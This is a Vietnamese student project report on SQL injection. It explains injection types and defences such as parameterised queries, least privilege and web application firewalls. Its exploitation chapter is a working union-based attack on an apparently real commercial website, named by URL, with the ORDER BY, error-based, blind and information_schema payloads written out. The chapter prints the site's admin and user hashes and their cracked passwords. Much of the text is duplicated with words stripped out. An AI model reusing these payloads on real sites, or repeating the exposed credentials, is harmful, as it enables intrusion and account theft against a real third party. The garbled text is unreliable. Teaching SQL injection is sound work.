Tại sao SQL Injection lại “thần thánh”? Những lý do sau đã tạo nên tên tuổi lừng lẫy của SQL Injection: • Cực kỳ nguy hiểm – Có thể gây ra những thiệt hại khổng lồ. Với SQL Injection, hacker có thể truy cập một phần hoặc toàn bộ dữ liệu trong hệ thống. • Rất phổ biến và dễ thực hiện – Lỗ hổng này rất nổi tiếng, từ developer đến hacker gần như ai cũng biết. Ngoài ra, còn có 1 số tool tấn công SQL Injection cho dân “ngoại đạo”, những người không biết gì về lập trình. • Rất nhiều ông lớn từng bị dính – Sony, Microsoft UK. Mọi vụ lùm xùm liên quan tới “lộ dữ liệu người dùng” ít nhiều đều dính dáng tới SQL Injection. Dễ tấn công, phổ biến, gây ra hậu quả nghiêm trọng, đó là lý dó Inject (Không chỉ SQL mà OS và LDAP) nằm chễm chễ ở vị trí đầu bảng trong top 10 lỗ hỗng bảo mật của OWASP. Vậy SQL Injection thực sự “Thần thánh” như thế nào? Bài báo cáo này, nhóm 05 sẽ nói rõ những đặc điểm nổi trội đó. CHƯƠNG I: GIỚI THIỆU CHUNG VỀ SQL INJECTION I. Khái niệm SQL Injection SQL (Structured Query Language) được sử dụng để truy vấn, thao tác dữ liệu trong Database. SQL Injection là một kỹ thuật tấn công vào câu lệnh cơ sở dữ liệu thông qua chèn các đoạn mã độc vào SQL để đánh lạc hướng xử lý với mục đích phá hủy dữ liệu hoặc ăn cắp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác, delete, insert, update… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. SQL injection thường được biết đến như là một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase... MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế. MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế. MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh, chúng luôn đi kèm với nhau ). Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, .
TRƯỜNG ĐẠI HỌC KHOA CÔNG NGHỆ THÔNG TIN -*** - ĐỒ ÁN MÔN HỌC 2017 ĐỀ TÀI: TRIỂN KHAI MÔ PHỎNG TẤN CÔNG SQL INJECTION VÀO WEBSERVER Giảng viên hướng dẫn Sinh viên thực Hà Nội – 2017 SV BM Mạng Máy Tính – Khóa 58 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 MỤC LỤC SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 LỜI MỞ ĐẦU Tại SQL Injection lại “thần thánh”? Những lý sau tạo nên tên tuổi lừng lẫy SQL Injection: • Cực kỳ nguy hiểm – Có thể gây thiệt hại khổng lồ Với SQL Injection, hacker truy cập phần toàn liệu hệ thống • Rất phổ biến dễ thực – Lỗ hổng tiếng, từ developer đến hacker gần biết Ngoài ra, có số tool công SQL Injection cho dân “ngoại đạo”, người lập trình • Rất nhiều ông lớn bị dính – Sony, Microsoft UK Mọi vụ lùm xùm liên quan tới “lộ liệu người dùng” nhiều dính dáng tới SQL Injection Dễ công, phổ biến, gây hậu nghiêm trọng, lý dó Inject (Không SQL mà OS LDAP) nằm chễm chễ vị trí đầu bảng top 10 lỗ hỗng bảo mật OWASP Vậy SQL Injection thực “Thần thánh” nào? Bài báo cáo này, nhóm 05 nói rõ đặc điểm trội SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 CHƯƠNG I: GIỚI THIỆU CHUNG VỀ SQL INJECTION Khái niệm SQL Injection I SQL (Structured Query Language) sử dụng để truy vấn, thao tác liệu Database SQL Injection kỹ thuật công vào câu lệnh sở liệu thông qua chèn đoạn mã độc vào SQL để đánh lạc hướng xử lý với mục đích phá hủy liệu ăn cắp SQL injection cho phép kẻ công thực thao tác, delete, insert, update… sở liệu ứng dụng, chí server mà ứng dụng chạy SQL injection thường biết đến vật trung gian công ứng dụng web có liệu quản lý hệ quản trị sở liệu SQL Server, MySQL, Oracle, DB2, Sysbase MsAccess: thường dành cho website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế MySQL: tất website dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL PHP anh em song sinh, chúng kèm với ) Oracle: tương tự MySQL Db2: dùng cho hệ thông website ngân hàng hệ thống cần chế độ bảo mật cao! Công cụ dùng để công trình duyệt web bất kì, chẳng hạn Internet Explorer, Netscape, Lynx, II Quy trình công Hacker tìm form lỗ hổng qua URL website Hacker chèn lệnh SQL vào lỗ hổng Hacker lấy thông tin mong muốn, ví dụ thông tin đăng thông tin User, thông tin đăng nhập SQL Hacker giải mã password admin, thay mật vào đăng nhập tài khoản Admi Thay đổi nội dung website, đánh cắp liệu… III Các dạng lỗi thường gặp Không kiểm tra ký tự thoát truy vấn SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Đây dạng lỗi SQL injection xảy thiếu đoạn mã kiểm tra liệu đầu vào câu truy vấn SQL Kết người dùng cuối thực số truy vấn không mong muốn sở liệu ứng dụng Dòng mã sau minh họa lỗi này: statement = "SELECT * FROM users WHERE name = '" + userName + "';" Câu lệnh thiết kế để trả ghi tên người dùng cụ thể từ bảng người dùng Tuy nhiên, biến "userName" nhập xác theo cách người dùng ác ý, trở thành câu truy vấn SQL với mục đích khác hẳn so với mong muốn tác giả đoạn mã Ví dụ, ta nhập vào giá trị biến userNamenhư sau: a' or 't'='t Khiến câu truy vấn hiểu sau: SELECT * FROM users WHERE name = 'a' or 't'='t'; Nếu đoạn mã sử dụng thủ tục xác thực ví dụ sử dụng để bắt buộc lựa chọn tên người dùng hợp lệ 't'='t' Trong hầu hết SQL server cho phép thực nhiều truy vấn lúc với lần gọi, nhiên số SQL API mysql_query php lại không cho phép điều lý bảo mật Điều ngăn cản tin tặc công cách sử dụng câu lệnh riêng rẽ mà không ngăn cản tin tặc thay đổi từ cú pháp truy vấn Các giá trị biến "userName" câu truy vấn gây việc xoá người dùng từ bảng người dùng tương tự việc xóa tất liệu từ bảng liệu (về chất tiết lộ thông tin người dùng), ví dụ minh họa API cho phép thực nhiều truy vấn lúc: a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Điều đưa tới cú pháp cuối câu truy vấn sau: SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't'; Xử lý không kiểu Lỗi SQL injection dạng thường xảy lập trình viên hay người dùng định nghĩa đầu vào liệu không rõ ràng thiếu bước kiểm tra lọc kiểu liệu đầu vào Điều xảy trường số sử dụng truy vấn SQL lập trình viên lại thiếu bước kiểm tra liệu đầu vào để xác minh kiểu liệu mà người dùng nhập vào có phải số hay không Ví dụ sau: statement:= "SELECT * FROM data WHERE id = " + a_variable + ";" Ta nhận thấy cách rõ ràng ý định tác giả đoạn mã nhập vào số tương ứng với trường id - trường số Tuy nhiên, người dùng cuối, thay nhập vào số, họ nhập vào chuỗi ký tự, trở thành câu truy vấn SQL hoàn chỉnh mà bỏ qua ký tự thoát Ví dụ, ta thiết lập giá trị biến a_variable là: 1;DROP TABLE users đó, thực thao tác xóa người dùng có id tương ứng khỏi sở liệu, câu truy vấn hoàn chỉnh hiểu là: SELECT * FROM data WHERE id=1;DROP TABLE users; Lỗi bảo mật bên máy chủ sở liệu Đôi lỗ hổng tồn phần mềm máy chủ sở liệu, trường hợp hàm mysql_real_escape_string() máy chủ MySQL Điều cho phép kẻ công thực công SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thoát Blind SQL injection SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Lỗi SQL injection dạng dạng lỗi tồn ứng dụng web hậu chúng lại không hiển thị trực quan cho kẻ công Nó gây sai khác hiển thị nội dung trang chứa lỗi bảo mật này, hậu công SQL injection dạng khiến cho lập trình viên hay người dùng phải nhiều thời gian để phục hồi xác bit liệu Những kẻ công sử dụng số công cụ để dò tìm lỗi dạng công với thông tin thiết lập sẵn a Thay đổi giá trị điều kiện truy vấn Dạng lỗi khiến cho kẻ công thay đổi giá trị điều kiện câu truy vấn, làm sai lệch hiển thị ứng dụng chứa lỗi SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=1; Sẽ hiển thị trang cách bình thường, khi: SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=2; Sẽ hiển thị nội dung khác, không hiển thị ứng dụng web có chứa lỗi SQL injection dạng Lỗ hổng dạng cho phép tin tặc không gây ảnh hưởng tới bảng hay liệu mà ảnh hưởng tới liệu hay bảng khác phụ thuộc vào nội dung liệu hay bảng b Điều kiện lỗi Mỗi SQL injection dạng dẫn tới việc buộc sở liệu phép đánh giá mà giá trị câu lệnh WHERE Ví dụ: SELECT 1/0 from users where username='Ralph'; Phép chia cho đánh giá lỗi mà người dùng có tên "Ralph" tồn sở liệu c Thời gian trễ SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Lỗi SQL injection dạng tồn thời gian xử lý hay nhiều truy vấn SQL phụ thuộc vào liệu logic nhập vào trình xử lý truy vấn SQL engine cần nhiều thời gian Tin tặc sử dụng lỗi SQL injection dạng để xác định thời gian xác mà trang cần tải giá trị nhập vào SV BM MẠNG MÁY TÍNH – KHÓA 58 Page BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 CHƯƠNG II: MỘT SỐ DẠNG TẤN CÔNG THƯỜNG GẶP VỚI CÁC ỨNG DỤNG WEB Dạng công vượt qua kiểm tra lúc đăng nhập I Với dạng công này, tin tặc dễ dàng vượt qua trang đăng nhập nhờ vào lỗi dùng câu lệnh SQL thao tác sở liệu ứng dụng web Thông thường phép người dùng truy cập vào trang web bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin tên đăng nhập mật Sau người dùng nhập thông tin vào, hệ thống kiểm tra tên đăng nhập mật có hợp lệ hay không để định cho phép hay từ chối thực tiếp Ví dụ, trường hợp sử dụng ASP, người ta dùng trang: trang HTML để hiển thị Form nhập liệu trang ASP để xử lý thông tin nhập vào từ phía người dùng sau: - Trang nhập liệu: login.htm Username: Password: - Trang xử lý nhập liệu: execlogin.asp Chỗ sơ hở đoạn mã xử lý nhập liệu nằm chỗ liệu nhập vào từ người dùng dùng để xây dựng trực tiếp câu lệnh SQL Chính điều cho phép tin tặc điều khiển câu truy vấn thực Ví dụ, người dùng nhập chuỗi ngoặc sau vào hai ô nhập liệu username/password trang login.htm là:('OR=') Lúc này, câu truy vấn gọi thực là: SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' and USR_PASSWORD= ''OR''='' Câu truy vấn hợp lệ trả tất ghi T_USERS đoạn mã xử lý người dùng đăng nhập bất hợp pháp người dùng đăng nhập hợp lệ II Dạng công sử dụng câu lệnh SELECT SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 10 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Thông tin sản phẩm mất, trang web bị dính lỗi SQL injection II Xác định số lượng cột mệnh đề Select Từ khóa 'order by' dùng để xếp thứ tự cho ghi thu mệnh đề select Sau order by tên cột để xác định kết thu xếp theo giá trị cột (tăng dần giảm dần) Sau 'order by' số thứ tự vị trí cột Nếu giá trị sau order lớn số cột select thấy thông tin bị Chèn sau url đoạn mã : order by ….– (… giá trị số nguyên, thử link bị lỗi dừng lại ) Order by sử dụng để: + Làm tiết kiệm thời gian attack + Tính số field ,column có CSDL SQL SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 16 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Ở đây, chạy đến order by 21 thông tin bị mất, Suy số cột có database 21 -1 =20 III Xác định thông tin, khai thác thông tin Trong số 20 cột bảng có cột bị lỗi Để tìm cột bị lỗi ta sử dụng lệnh union Union từ khóa dùng để gộp kết nhiều mệnh đề select mệnh đề select đòi hỏi số lượng trường phải số lượng trường select mệnh đề select ban đầu SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 17 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Ở hackbar Firefox, ta vào SQL > Union Select statement nhập vào số cột bảng 20 cột > OK Hackbar tự động điền câu lệnh union cho ta địa chỉ: SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 18 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Chạy Excute Để tìm cột lỗi Cột lỗi lên số, trường hợp không lên số cột lỗi, ta sử dụng cách sau: + + + + + + Viewsource Xem file ảnh bị lỗi để thấy số Thay số null (vd id=-328 thay id=null UNION….) Thay column(field) null (vd :UNION SELECT null,null,….) Bypass filter (mod_security) TH thông báo này: The used SELECT statements have a different number of columns Union select sau: id=1+and+1=0+UNION SELECT+1,2… Hoặc dùng error base: SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 19 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 And (Select From(Select Count( * ),Concat(CHAR (124), (Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)– – and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))– or group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1– Hoặc dùng blind: and substring(version(),1,1)=5 Tuỳ thời mà biến hoá chúng Ta tìm cột lỗi Ta chọn hai cột bị lỗi để từ tìm lỗ hổng database Ở ta khai thác cột để tìm xem database có bảng Để biết tên bảng, tên cột, ta sử dụng đối tượng information_schema Đối tượng cung cấp thông tin tables, columns, views procedures… sở liệu Ở ta muốn tìm thông tin bảng sở liệu nên ta truy vấn từ information_schema.tables Lệnh Group_concat để nối nhiều giá trị với Chèn đoạn mã vào số 3: unhex(hex(group_concat(table_name))) câu lệnh sau số 20: from information_schema.tables Sau excute địa Nó toàn tên bảng có database: http://www.hoanghaidoor.vn/?frame=product_detail&id=null UNION SELECT 1,2,unhex(hex(group_concat(table_name))) , 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.tables SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 20 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY _COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET ,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t bl_visitor Chúng ta không quan tâm table dạng này: CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… table hệ thống thôi, quan trọng xác định table chứa admin mớ hỗn độn phía Ta xem thông tin bảng ta muốn, ta xem thông tin từ bảng tbl_user để lấy thông tin user đăng nhập Để lấy thông tin cột bảng ta thay khoá table thành column table_schema thành table_name Để truy cập cho ta phải SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 21 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 chuyển tên bảng cần lấy thông sở liệu dạng SQL Để làm việc ta bôi đen tên bảng (tbl_user), sau vào SQL > MySQL > MySQL CHAR() http://www.hoanghaidoor.vn/?frame=product_detail&id=null UNION SELECT 1,2,unhex(hex(group_concat(column_name))) , 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columns where table_name=tbl_user Excute truy vấn trên, ta thông tin cột bảng tbl_user Bao gồm: id,uid,pwd Sau công việc ta xác định cloumn quan trọng uid pwd Ta tiến hành lấy thông tin Bằng cách: SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 22 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) sau số 20 là: from tbl_user – (đây table chứa id pwd mà ta khai thác) Lưu ý: 0x3a ký tự “:” ngăn cách id pwd, 0x2f hay 0x7c “/” http://www.hoanghaidoor.vn/?frame=product_detail&id=null UNION SELECT 1,2,group_concat(uid,0x3a,pwd) 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user , Sau ấn Execute, ta nhận uid pwd dạng mã hóa md5: admin:827ccb0eea8a706c4c34a16891f84e7b phamvan:48472492c504e777a664efeff27d9fee Để giải mã password, truy cập links: http://md5decrypt.net/en/#answer nhập 827ccb0eea8a706c4c34a16891f84e7b sau ấn giải mã (Dercypt) SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 23 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Như tài khoản admin có password 12345 Ta sử dụng thông tin để đăng nhập vào hệ thống, kết đăng nhập thành công Tương tự, giải mã password tài khoản phamvan ta được: 52041688 SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 24 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 25 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 Như ta sử dụng câu lệnh Select để khai thác lỗi SQL Injection, xem thông tin sở liệu ứng dụng web từ lấy thông tin đăng nhập tài khoản admin SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 26 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 CHƯƠNG IV: HẬU QUẢ CỦA SQL INJECTION VÀ CÁCH PHÒNG CHỐNG SQL I Hậu Hậu lớn mà SQL Injection gây là: Làm lộ liệu database Tuỳ vào tầm quan trọng liệu mà hậu dao động mức nhẹ vô nghiêm trọng Nếu lộ liệu credit card, hacker dùng credit card để “mua sắm hộ” chôm tiền người dùng Hàng triệu Credit Card chùa tồn mạng, hacker chôm từ trang bán hàng thông qua SQL Injection Lộ liệu khách hàng ảnh hưởng nghiêm trọng đến công ty Hình ảnh công ty bị ảnh hưởng, khách hàng chuyển qua sử dụng dịch vụ khác, dẫn đến phá sản v…v Lỗ hỗng ảnh hưởng lớn đến khách hàng Do họ thường dùng chung mật cho nhiều tài khoản, cần lộ mật tài khoản tài khoản khác lộ theo Trong nhiều trường hợp, hacker không đọc liệu mà chỉnh sửa liệu Lúc hacker đăng nhập vai trò admin, lợi dụng hệ thống, xoá toàn liệu để hệ thống ngừng hoạt động II Cách phòng chống Hầu hết mã nguồn mở không lo lỗi này, nhiên plugin hay module viết nhiều lập trình viên khác lại hay để sơ hở tạo điều kiện cho lỗi phát sinh Cách phòng tránh có nhiều cách, đó: Mặc dù SQL nguy hại dễ phòng chống Gần đây, viết SQL mà toàn sử dụng ORM (Object-Relational Mapping) framework Các framework web tự tạo câu lệnh SQL nên hacker khó công Tuy nhiên, có nhiều site sử dụng SQL để truy cập liệu Đây mồi ngon cho hacker Để bảo vệ thân trước SQL Injection, ta thực biện pháp sau • Lọc liệu từ người dùng: Cách phòng chống tương tự XSS Ta sử dụng filter để lọc kí tự đặc biệt (; ” ‘) từ khoá (SELECT, SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 27 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 UNION) người dùng nhập vào Nên sử dụng thư viện/function cung cấp framework Viết lại từ đầu vừa tốn thời gian vừa dễ sơ sót • Không cộng chuỗi để tạo SQL: Sử dụng parameter thay cộng chuỗi Nếu liệu truyền vào không hợp pháp, SQL Engine tự động báo lỗi, ta không cần dùng code để check • Không hiển thị exception, message lỗi: Hacker dựa vào message lỗi để tìm cấu trúc database Khi có lỗi, ta thông báo lỗi đừng hiển thị đầy đủ thông tin lỗi, tránh hacker lợi dụng • Phân quyền rõ ràng DB: Nếu truy cập liệu từ số bảng, tạo account DB, gán quyền truy cập cho account không nên dùng account root hay sa Lúc này, dù hacker có inject sql đọc liệu từ bảng chính, sửa hay xoá liệu • Backup liệu thường xuyên: Dữ liệu phải thường xuyên backup để có bị hacker xoá ta khôi phục • Viết lại đường dẫn website phòng lỗi SQL Injection, hacker thường phải tìm sơ hở website đường link form nhập liệu người dùng, không nhìn thấy biến query hacker phải tìm cách khác để thử lỗi • Lọc kĩ người dùng nhập Với số người dùng nhập vào, để ăn bạn lọc qua hàm như: $num = ( int ) $_POST['num']; $num = is_numeric ( $num ) ? $num : 0; Ví dụ sử dụng sprinf: $data = sprintf('select * from %s where data = %d limit 1', $table, $must_be_number ); Sử dụng kết hợp với mysql_real_escape_string() để câu SQL an toàn: $data = sprintf('select * from %s where data = %d limit 1', $table, mysql_real_escape_string($must_be_number ) ); SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 28 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 • Sử dụng tường lửa: Ứng dụng web (Web Application Firewall) để ngăn chặn lỗ hổng SQL Injection Khi sử dụng dịch vụ máy chủ Cloud EXA cung cấp để làm web hosting chạy ứng dụng web tích hợp dịch vụ Web Application Firewall để ngăn chặn lỗ hồng SQL Injection http://exa.vn SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 29 BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05 KẾT LUẬN Lỗi SQL Injection lỗi phổ thông, nhiên phòng chống việc hoàn toàn không khó, cần bạn tự nhủ với người dùng nhập ta tin điều gì, phải xác định lại chúng sử dụng phương pháp ép kiểu thêm dấu “” vào biến người dùng nhập ( addslashes() ) hạn chế tối đa lỗi ! Với mã nguồn mở, an tâm phần hầu hết câu query lọc qua lọc lại cách kĩ lưỡng, phát sinh lỗi viết không quy chuẩn mà thôi, bạn nên để ý sử dụng plugin module người dùng xác định download trang chủ ! SV BM MẠNG MÁY TÍNH – KHÓA 58 Page 30 ... MÔN HỌC NHÓM 05 CHƯƠNG I: GIỚI THIỆU CHUNG VỀ SQL INJECTION Khái niệm SQL Injection I SQL (Structured Query Language) sử dụng để truy vấn, thao tác liệu Database SQL Injection kỹ thuật công vào. .. trường hợp hàm mysql_real_escape_string() máy chủ MySQL Điều cho phép kẻ công thực công SQL injection thành công dựa ký tự Unicode không thông thường đầu nhập vào thoát Blind SQL injection SV BM... ÁN MÔN HỌC NHÓM 05 Lỗi SQL injection dạng tồn thời gian xử lý hay nhiều truy vấn SQL phụ thuộc vào liệu logic nhập vào trình xử lý truy vấn SQL engine cần nhiều thời gian Tin tặc sử dụng lỗi SQL